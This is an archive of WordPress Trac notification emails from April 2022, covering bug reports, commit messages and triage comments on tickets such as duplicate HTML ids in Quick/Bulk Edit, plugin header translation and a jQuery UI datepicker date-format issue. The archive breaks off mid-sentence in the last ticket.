Severity: normal | Resolution: Keywords: good-first-bug has-patch has- | Focuses: testing-info assigned-for-commit needs-dev- | note | -------------------------------------------------+------------------------- Comment (by audrasjb): Makes sense to me as well. @SergeyBiryukov when you have a chance, I would be happy to get a quick double check on the above PR. It removes the filter and it also deprecates the function. -- Ticket URL: <https://core.trac.wordpress.org/ticket/39108#comment:27> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 11:55:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 11:55:40 -0000 Subject: [wp-trac] [WordPress Trac] #54586: Avoid translating empty plugin headers In-Reply-To: <050.e99f6fcfc51a37d9163d4643e370af16@wordpress.org> References: <050.e99f6fcfc51a37d9163d4643e370af16@wordpress.org> Message-ID: <065.6940bc76b57608f5a45c821d9b07abae@wordpress.org> #54586: Avoid translating empty plugin headers --------------------------------------------------+--------------------- Reporter: Chouby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: I18N | Version: 3.4 Severity: trivial | Resolution: Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+--------------------- Changes (by audrasjb): * keywords: has-patch => has-patch commit assigned-for-commit Comment: Looks good to me. I added a PR to run the unit tests, and then it should be good to go. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54586#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 11:55:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 11:55:50 -0000 Subject: [wp-trac] [WordPress Trac] #54586: Avoid translating empty plugin headers In-Reply-To: <050.e99f6fcfc51a37d9163d4643e370af16@wordpress.org> References: <050.e99f6fcfc51a37d9163d4643e370af16@wordpress.org> Message-ID: <065.605fe9e3d565776c6e4b6b7cb9d7a01f@wordpress.org> #54586: Avoid translating empty plugin headers --------------------------------------------------+------------------------ Reporter: Chouby | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: I18N | Version: 3.4 Severity: trivial | Resolution: Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+------------------------ Changes (by audrasjb): * owner: (none) => audrasjb * status: new => reviewing -- Ticket URL: <https://core.trac.wordpress.org/ticket/54586#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 12:37:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 12:37:05 -0000 Subject: [wp-trac] [WordPress Trac] #55572: Basic tool Image edit -> cut doesen't work correctly Message-ID: <054.f630c744a13a5f0af069e6ac704822af@wordpress.org> #55572: Basic tool Image edit -> cut doesen't work correctly --------------------------+----------------------------- Reporter: whatspress | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Hello all, I am using the edit image tool to crop images for the post pages uniformly. In this case, I use "crop" to make images for the post overview page uniformly 4:3. Unfortunately, cropping only works correctly when I want to change a portrait image. If I have a landscape image, which is close to 4:3, I can type in 4 for the ratio, but the 3 is not accepted. By dragging the frame it does slip the crop frame into the 4:3 ratio but somehow it doesn't seem to save it correctly. After I click crop, it still crops it correctly, but as soon as I save the image and use it as a post image, the original uncropped image appears, even in the frontend. So as if it would not be saved / overwritten correctly in all sizes. I would dare to say that this is a bug, but unfortunately I don't know a workaround for it. Do you have an idea what can help? A good plugin as an alternative I have not found yet. Best regards Markus -- Ticket URL: <https://core.trac.wordpress.org/ticket/55572> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 12:46:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 12:46:11 -0000 Subject: [wp-trac] [WordPress Trac] #55573: problem writing article by wordpress website Message-ID: <052.646cc7a18b85ce1294ca43bab6c9a518@wordpress.org> #55573: problem writing article by wordpress website --------------------------+----------------------------- Reporter: nisha143 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- hello sir there is writing article and heading and so many error in new wordpress . my mouse is not working in post option ..plse fixed this issue. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55573> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 13:25:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 13:25:15 -0000 Subject: [wp-trac] [WordPress Trac] #54586: Avoid translating empty plugin headers In-Reply-To: <050.e99f6fcfc51a37d9163d4643e370af16@wordpress.org> References: <050.e99f6fcfc51a37d9163d4643e370af16@wordpress.org> Message-ID: <065.39cd70bf69804e9f796f96e3866e46d1@wordpress.org> #54586: Avoid translating empty plugin headers --------------------------------------------------+----------------------- Reporter: Chouby | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: I18N | Version: 3.4 Severity: trivial | Resolution: fixed Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+----------------------- Changes (by audrasjb): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53181" 53181]: {{{ #!CommitTicketReference repository="" revision="53181" Plugins: Avoid translating empty plugin headers. This change aims to avoid unnecessarily translating empty strings from plugin headers, by removing empty fields from translation process in `_get_plugin_data_markup_translate()`. Props Chouby, johnbillion, audrasjb. Fixes #54586. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54586#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 13:40:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 13:40:00 -0000 Subject: [wp-trac] [WordPress Trac] #52970: Improve text in help tabs of Personal Data Exporter/Eraser In-Reply-To: <051.1fd5e5c7e8db44b69cca58d665815035@wordpress.org> References: <051.1fd5e5c7e8db44b69cca58d665815035@wordpress.org> Message-ID: <066.65e81cd236c8bedd4a5d951ae8780068@wordpress.org> #52970: Improve text in help tabs of Personal Data Exporter/Eraser -------------------------------------------------+------------------------- Reporter: dimadin | Owner: marybaum Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing needs- | Focuses: privacy, screenshots has-privacy-review | ui-copy -------------------------------------------------+------------------------- Comment (by audrasjb): Just to clarify: are we ok to ship the wording proposed in PR2115 and PR2116? - https://github.com/WordPress/wordpress-develop/pull/2115 - https://github.com/WordPress/wordpress-develop/pull/2116 -- Ticket URL: <https://core.trac.wordpress.org/ticket/52970#comment:56> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 13:49:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 13:49:19 -0000 Subject: [wp-trac] [WordPress Trac] #52970: Improve text in help tabs of Personal Data Exporter/Eraser In-Reply-To: <051.1fd5e5c7e8db44b69cca58d665815035@wordpress.org> References: <051.1fd5e5c7e8db44b69cca58d665815035@wordpress.org> Message-ID: <066.c8401b079ae1f24513b1107b2c06100c@wordpress.org> #52970: Improve text in help tabs of Personal Data Exporter/Eraser -------------------------------------------------+------------------------- Reporter: dimadin | Owner: marybaum Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: has-patch needs-screenshots has- | Focuses: privacy, privacy-review | ui-copy -------------------------------------------------+------------------------- Changes (by paapst): * keywords: has-patch needs-testing needs-screenshots has-privacy-review => has-patch needs-screenshots has-privacy-review Comment: Replying to [comment:56 audrasjb]: > Just to clarify: are we ok to ship the wording proposed in PR2115 and PR2116? > > - https://github.com/WordPress/wordpress-develop/pull/2115 > - https://github.com/WordPress/wordpress-develop/pull/2116 Yes, that is indeed the case. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52970#comment:57> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 13:51:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 13:51:57 -0000 Subject: [wp-trac] [WordPress Trac] #52970: Improve text in help tabs of Personal Data Exporter/Eraser In-Reply-To: <051.1fd5e5c7e8db44b69cca58d665815035@wordpress.org> References: <051.1fd5e5c7e8db44b69cca58d665815035@wordpress.org> Message-ID: <066.d380bd8b631fa1c11c5b1fba90e02d90@wordpress.org> #52970: Improve text in help tabs of Personal Data Exporter/Eraser -------------------------------------------------+------------------------- Reporter: dimadin | Owner: marybaum Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: has-patch has-privacy-review commit | Focuses: privacy, assigned-for-commit | ui-copy -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch needs-screenshots has-privacy-review => has-patch has-privacy-review commit assigned-for-commit Comment: Great, thanks for the confirmation. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52970#comment:58> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 14:44:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 14:44:58 -0000 Subject: [wp-trac] [WordPress Trac] #52970: Improve text in help tabs of Personal Data Exporter/Eraser In-Reply-To: <051.1fd5e5c7e8db44b69cca58d665815035@wordpress.org> References: <051.1fd5e5c7e8db44b69cca58d665815035@wordpress.org> Message-ID: <066.f840863f94225ddeb503b3587b59c7f2@wordpress.org> #52970: Improve text in help tabs of Personal Data Exporter/Eraser -------------------------------------------------+------------------------- Reporter: dimadin | Owner: marybaum Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-privacy-review commit | Focuses: privacy, assigned-for-commit | ui-copy -------------------------------------------------+------------------------- Changes (by audrasjb): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53182" 53182]: {{{ #!CommitTicketReference repository="" revision="53182" Help/about: Improve text in help tabs of the Personal Data Exporter/Eraser. This change clarifies the purpose of the personal data exporter/eraser tool in the related help tab. Props dimadin, peterwilsoncc, audrasjb, marybaum, webcommsat, azaozz, paapst, desrosj. Fixes #52970. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/52970#comment:59> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 15:14:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 15:14:05 -0000 Subject: [wp-trac] [WordPress Trac] #54728: Coding Standards fixes for WP 6.0 In-Reply-To: <058.7a155b0f785c70523f1d802c18e37284@wordpress.org> References: <058.7a155b0f785c70523f1d802c18e37284@wordpress.org> Message-ID: <073.1f1db7e47977eb6abe7f895a666ebacc@wordpress.org> #54728: Coding Standards fixes for WP 6.0 ----------------------------+------------------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: coding-standards ----------------------------+------------------------------- Comment (by SergeyBiryukov): In [changeset:"53183" 53183]: {{{ #!CommitTicketReference repository="" revision="53183" Coding Standards: Rename the `$object` variable to `$attachment` in several files. This brings some consistency with a similar fragment in `Custom_Image_Heade::step_2_manage_upload()`, `WP_Site_Icon::insert_attachment()`, `media_handle_upload()`, and clarifies the type of the data. Follow-up to [52946], [53137]. See #55327, #54728. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54728#comment:54> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 15:14:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 15:14:06 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.4ff6c1a08ffb7a2cbcb1983580aa6182@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53183" 53183]: {{{ #!CommitTicketReference repository="" revision="53183" Coding Standards: Rename the `$object` variable to `$attachment` in several files. This brings some consistency with a similar fragment in `Custom_Image_Heade::step_2_manage_upload()`, `WP_Site_Icon::insert_attachment()`, `media_handle_upload()`, and clarifies the type of the data. Follow-up to [52946], [53137]. See #55327, #54728. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 15:24:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 15:24:24 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.0ed4178816309e5a189f66f37cfb1238@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53184" 53184]: {{{ #!CommitTicketReference repository="" revision="53184" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/deprecated.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$default` and `$parent` parameters to `$default_category` and `$parent_category` in `dropdown_categories()`. * Renames the `$default` parameter to `$default_link_category` in `dropdown_link_categories()`. * Renames the `$parent` parameter to `$parent_cat` and some other parameters for consistency in `wp_dropdown_cats()`. * Renames the `$function` to `$callback` in `add_object_page()` and `add_utility_page()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 16:08:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 16:08:18 -0000 Subject: [wp-trac] [WordPress Trac] #55574: WP_REST_Pattern_Directory_Controller::get_items doesn't support array arguments Message-ID: <057.4a7bf33d75b57745588ace8517acc77b@wordpress.org> #55574: WP_REST_Pattern_Directory_Controller::get_items doesn't support array arguments ---------------------------+----------------------------- Reporter: antonvlasenko | Owner: antonvlasenko Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: REST API | Version: trunk Severity: normal | Keywords: Focuses: rest-api | ---------------------------+----------------------------- Since `http://api.wordpress.org/patterns` API supports array parameters, there is no need to implode slug values inside the `_register_remote_theme_patterns` function. Both `WP_REST_Pattern_Directory_Controller` and `_register_remote_theme_patterns`must be updated to support array request arguments. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55574> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 16:21:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 16:21:19 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit Message-ID: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit -----------------------------+----------------------------- Reporter: GregLone | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Quick/Bulk Edit | Version: trunk Severity: normal | Keywords: Focuses: accessibility | -----------------------------+----------------------------- [https://github.com/WordPress/WordPress/commit/337e4a8d9075e8376a3e39c8993ddc8e7d953d65 This commit] introduced a "static" HTML id attribute `inline-edit-legend` in Quick/Bulk Edit forms. However, when these forms are both printed in the page, this id then duplicated. {{{ <div class="inline-edit-wrapper" role="region" aria-labelledby="inline- edit-legend"> <fieldset class="inline-edit-col-left"> <legend class="inline-edit-legend" id="inline-edit- legend">Quick Edit</legend> ... <div class="inline-edit-wrapper" role="region" aria-labelledby="inline- edit-legend"> <fieldset class="inline-edit-col-left"> <legend class="inline-edit-legend" id="inline-edit- legend">Bulk Edit</legend> }}} One solution would be to do something like this: {{{ <div class="inline-edit-wrapper" role="region" aria-labelledby="<?php echo $bulk ? 'bulk' : 'quick'; ?>-edit-legend"> <fieldset class="inline-edit-col-left"> <legend class="inline-edit-legend" id="<?php echo $bulk ? 'bulk' : 'quick'; ?>-edit-legend"><?php echo $bulk ? __( 'Bulk Edit' ) : __( 'Quick Edit' ); ?></legend> }}} But by doing this only, the issue is not solved entirely: when using Bulk Edit or Quick Edit, the related form is copied into the list with JavaScript, leading to duplicating the id attribute again (the original form is left where it was). So I think it would require some more JavaScript to modify the `id` and `aria-labelledby` attributes before inserting the form into the list. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 16:25:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 16:25:32 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.03c1432c3213774192aee431180b10a6@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by fcoveram): Glad that you all liked one version. I will start exploring alternatives for the other sections. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 16:45:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 16:45:45 -0000 Subject: [wp-trac] [WordPress Trac] #55576: DB connection fail on every computer restart Message-ID: <054.6b447449393cccc336060ac2b3324c5f@wordpress.org> #55576: DB connection fail on every computer restart ----------------------------+----------------------------- Reporter: matt.scott | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Keywords: Focuses: administration | ----------------------------+----------------------------- I have a local installation. Each time I switch on the computer, Safari reloads my last visited. Mostly the last page, before shutdown, is the admin of my development site. Each time this site appears and says 'Error establishing a database connection', I then press reload and then no problems any more... I never worried about this as there is a easy solution. Then I noticed the below in the debug.log: [14-Apr-2022 14:04:38 UTC] PHP Fatal error: Uncaught Error: Call to undefined function mysql_connect() in .../wp-includes/ wp-db.php:1785 1402 Stack trace: 1403 #0 .../wp-includes/wp-db.php(724): wpdb->db_connect() 1404 #1 .../wp-includes/load.php(561): wpdb->__construct('...', '...', '...', '127.0.0.1') 1405 #2 .../wp-settings.php(124): require_wp_db() 1406 #3 .../wp-config.php(121): require_once('/Users/Yuma/Dev...') 1407 #4 .../wp-load.php(50): require_once('/Users/Yuma/Dev...') 1408 #5 .../wp-admin/admin.php(34): require_once('/Users/Yuma/Dev...') 1409 #6 .../wp-admin/edit.php(10): require_once('/Users/Yuma/Dev...') 1410 #7 {main} 1411 thrown in .../wp-includes/wp-db.php on line 1785 That seems very unlikely that WordPress made a PHP Fatal Error. I haven't noticed this error in Chrome. Maybe it's only a Safari problem. My feeling is that MacOS shutdown by ending PHP, then my installation tries to inform the database and finds no PHP functions. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55576> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 16:52:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 16:52:10 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit In-Reply-To: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> References: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> Message-ID: <067.a7d9c3fc7424f74d0c9ff90239a92897@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit -----------------------------+---------------------------- Reporter: GregLone | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: trunk Severity: normal | Resolution: Keywords: | Focuses: accessibility -----------------------------+---------------------------- Changes (by costdev): * milestone: Awaiting Review => 6.0 Comment: Moving to the 6.0 milestone for visibility as this was introduced during the current cycle. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 17:03:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 17:03:21 -0000 Subject: [wp-trac] [WordPress Trac] #55557: Reduce CSS-float in admin In-Reply-To: <050.d7cf58cd39b802ea8cbca97ec88ed6bb@wordpress.org> References: <050.d7cf58cd39b802ea8cbca97ec88ed6bb@wordpress.org> Message-ID: <065.93833c948e35a1562e6c4e664f562b58@wordpress.org> #55557: Reduce CSS-float in admin ----------------------------+--------------------- Reporter: kebbet | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.1 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: css ----------------------------+--------------------- Changes (by costdev): * type: enhancement => task (blessed) * milestone: Awaiting Review => 6.1 Comment: I agree that we should try to reduce the use of `float` on an ongoing basis. This also helps to modernise the CSS used in Core. I'm making this a Task and moving it to the 6.1 milestone, as changes will need testing and we're already in Beta for 6.0. I think it's best to submit .diff/.patch files for each change/group of related changes to make it easier to review, test, commit and, if necessary, revert. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55557#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 17:18:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 17:18:15 -0000 Subject: [wp-trac] [WordPress Trac] #55564: Twenty Twenty-One: edit translator comment in Continue Reading text In-Reply-To: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> References: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> Message-ID: <070.1e7d5ddade43d7f475fb3dfc2ddc73d5@wordpress.org> #55564: Twenty Twenty-One: edit translator comment in Continue Reading text ------------------------------+--------------------- Reporter: sabernhardt | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.6 Severity: normal | Resolution: Keywords: has-patch commit | Focuses: docs ------------------------------+--------------------- Changes (by costdev): * keywords: has-patch => has-patch commit * version: => 5.6 Comment: This looks good to me, marking for `commit` consideration. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55564#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 17:21:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 17:21:07 -0000 Subject: [wp-trac] [WordPress Trac] #55560: Remove unused 'data' property from the Ajax response when adding a new term In-Reply-To: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> References: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> Message-ID: <073.005ad6955d92e329b1b823a3f2b408e1@wordpress.org> #55560: Remove unused 'data' property from the Ajax response when adding a new term -----------------------------+--------------------- Reporter: SergeyBiryukov | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch close | Focuses: -----------------------------+--------------------- Changes (by costdev): * version: => 5.9 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55560#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 17:24:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 17:24:58 -0000 Subject: [wp-trac] [WordPress Trac] #53028: Inconsistent Capitalisation In-Reply-To: <053.7a5028a140f27c5b08b94d28a92fcac2@wordpress.org> References: <053.7a5028a140f27c5b08b94d28a92fcac2@wordpress.org> Message-ID: <068.c10860a021ad269713caa97df4ef212e@wordpress.org> #53028: Inconsistent Capitalisation --------------------------------------+----------------------- Reporter: Presskopp | Owner: audrasjb Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Text Changes | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: ui-copy --------------------------------------+----------------------- Comment (by audrasjb): The above PR addresses the few issues highlighted by @desrosj. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53028#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 17:27:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 17:27:53 -0000 Subject: [wp-trac] [WordPress Trac] #53028: Inconsistent Capitalisation In-Reply-To: <053.7a5028a140f27c5b08b94d28a92fcac2@wordpress.org> References: <053.7a5028a140f27c5b08b94d28a92fcac2@wordpress.org> Message-ID: <068.9711f8344e50acc22d7b04a285bffdda@wordpress.org> #53028: Inconsistent Capitalisation -------------------------------------------------+------------------------- Reporter: Presskopp | Owner: audrasjb Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Text Changes | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch commit | Focuses: ui-copy assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: good-first-bug has-patch => good-first-bug has-patch commit assigned-for-commit Comment: Tests are passing. Self assigning for commit consideration. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53028#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 17:44:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 17:44:56 -0000 Subject: [wp-trac] [WordPress Trac] #55573: problem writing article by wordpress website In-Reply-To: <052.646cc7a18b85ce1294ca43bab6c9a518@wordpress.org> References: <052.646cc7a18b85ce1294ca43bab6c9a518@wordpress.org> Message-ID: <067.a0aaa2e172172581807f488802b3c1a1@wordpress.org> #55573: problem writing article by wordpress website --------------------------+---------------------- Reporter: nisha143 | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by costdev): * status: new => closed * resolution: => invalid * milestone: Awaiting Review => Comment: Hi @nisha143, welcome to Trac! Sorry to hear that you're having trouble with your website. Trac is for the development of WordPress Core and the problems you're having can be caused by a number of things, such as plugins or your theme. For now, it's best to post on [https://wordpress.org/support/forum/how-to- and-troubleshooting/ the support forums] to get some help from the folks there. If they find out that it's an issue in WordPress Core, please let us know. As this problem has not been identified as a bug in WordPress Core, I'll close this ticket as invalid. However, that's not because your problem is invalid, it just means that there is no further action we can take at this time. I hope the problem gets resolved soon after you post on [https://wordpress.org/support/forum/how-to-and-troubleshooting/ the support forums]! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55573#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 14 19:26:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 14 Apr 2022 19:26:50 -0000 Subject: [wp-trac] [WordPress Trac] #55577: Wrong Date Format on jQuery UI datepicker on the public side of Jetpack forms for Localized sites Message-ID: <060.3bba771480348a475eb4d9ac56996c1d@wordpress.org> #55577: Wrong Date Format on jQuery UI datepicker on the public side of Jetpack forms for Localized sites ------------------------------+----------------------------- Reporter: miguelsansegundo | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: I18N | Version: Severity: normal | Keywords: Focuses: ui | ------------------------------+----------------------------- There is an issue on the public side showing the wrong date format for escaped literal text such as `\d\e` in the date format `j \d\e F \d\e Y` when internationalizing the input value of the jQuery UI datepicker. Which is used by [https://jetpack.com/support/jetpack-blocks/contact-form/ Jetpack forms]. The literal text `de` is common in the date format of Spain and Portugal. For instance in `15 de Abril de 2022`. Here is a [https://user- images.githubusercontent.com/1881481/163436224-437e1d50-161a-4c50-93ef- b0f5dc8ff6ae.png screenshot] of the issue showing the wrong format on the datepicker input on the public side. As you can see, the issue doesn't affect the dates rendered via PHP because the backward slashes are the correct format in that case. The issue doesn't affect the [https://user- images.githubusercontent.com/1881481/163449525-abda00c7-7895-48e8-8879-4865c3f1eaf5.png settings] either. Only affects the jQuery UI datepicker on the public side. The issue happens because we use **backward slashes** to [https://wordpress.org/support/article/formatting-date-and-time/#escaping escape literal text when formatting custom dates in WordPress] but the datepicker of jQuery UI only accepts **single quotes** to **scape literal text in the date format**. It seems that in the past [https://stackoverflow.com/a/4760345 both 